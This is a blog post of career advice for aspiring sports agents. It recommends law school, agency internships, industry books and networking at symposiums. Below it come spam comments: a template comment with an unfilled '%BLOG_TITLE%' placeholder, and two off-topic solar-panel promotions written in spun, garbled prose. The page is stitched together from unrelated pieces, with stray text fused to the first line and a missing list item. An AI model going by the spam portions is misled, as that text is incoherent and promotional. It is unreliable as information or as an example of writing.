Canadian VeggieGraduating from your undergraduate institution in April or May and want to break into the business of sports (particularly in the representation of athletes) but have no idea where to start?  Here’s a list of options.  There is no “right”  path to success, but the following list provides some insight into ways that you can better prepare yourself for the life as a sports agent and possibly get your first foot through the door.

1. Don’t Stop Learning

Have you taken the LSAT or GRE?  If not, it may be too late to take either standardized test in order to be admitted into a law school or masters program this Fall.  If you have taken one of the 2 tests, you may want to consider getting a graduate/law degree.  For one, the NFL requires that you have one if you wish to be certified by the players’ association.  But even if you just want to focus your practice on basketball, baseball, or some other sport, the knowledge, tools, and connections you will gain from a masters program or law school are very valuable in this field.  My own two cents – Go to law school and see if the school allows you to take some out-of-law classes like Sport Marketing.

2. Apply for Sports Internships

This business, like most, is heavily dependent on relationships.  Interning at an agency will allow you to create new bonds to people within the industry and will let you understand who you need to speak to once you are a part of the business.  Also, an internship provides invaluable experience to people who hope to get into the industry.  As much as I talk about the sports agent field on my site, nothing compared to hands-on experience.

3. Read Sports Business Books

If you visit my site, I provide a list of books written by sports agents.  Some of the books are more valuable than others, but it is smart to read about others views and experiences in and about the industry.  Some of my favorites include An Athlete’s Guide to Agents, Fifth Edition, Never Make the First Offer, and Representing the Professional Athlete.

While many people seem to think that law review articles are declining in readership, some of the best scholarly work is still published in this medium.  Sports Law Blog often releases new Sports Law related pieces that are released in a variety of reviews and journals.  I also recently came out with a piece that is applicable for anyone looking to break into the industry – http://www.dartmouthlawjournal.org/articles/Heitner.pdf.

5. Attend Sports Symposiums

More important than the information learned at these events is the possibility to meet and network with those who have established names for themselves in the industry.  Who knows, you just might land an internship or a job with someone speaking on a panel.  Oftentimes, those in attendance are also involved in the industry or are lawyers looking for a way in.  And the panels also happen to be very interesting.  I have had the pleasure of participating as a speaker on quite a few panels as of late.  I will be on one or two panels at the upcoming St. Thomas University Sports and Entertainment Law Society Symposium on March 13.  If you are in Miami and will be at the event, make sure to connect with me.

6. Do Something No One Has Done

My big break was in the creation of SportAagentBlog.com What unique value will you bring to the industry?  How will you stand out?  The industry is cluttered with bright minds.  Find out what makes you special.

    I think everything said made a great deal of sense. But, think on this, what if you were to write a awesome post title? I mean, I don’t want to tell you how to run your website, however suppose you added a headline that makes people want more? I mean %BLOG_TITLE% is a little vanilla. You could glance at Yahoo’s front page and note how they write post headlines to grab people to click. You might add a related video or a related pic or two to get people interested about what you’ve written. Just my opinion, it would bring your posts a little bit more interesting.

    Another important reason to switch to solar power is the financial savings it provides. Solar power panels are designed for generating electricity for businesses, reducing or eliminating the need for traditional sourced elements of energy. This may end in significant savings on energy bills, particularly in areas with a high energy costs. Furthermore, there are many government incentives and tax credits offered to companies that adopt solar technology, which makes it a lot more cost-effective and affordable.

    The technology behind solar technology is not at all hard, yet highly effective. Solar energy panels are made of photovoltaic (PV) cells, which convert sunlight into electricity. This electricity may then be kept in batteries or fed directly into the electrical grid, with respect to the specific system design. So that you can maximize the many benefits of solar technology, it is vital to design a custom system this is certainly tailored to your particular energy needs and requirements. This may make certain you have just the right components in position, including the appropriate wide range of solar power panels additionally the right style of batteries, to maximise your power efficiency and value savings.
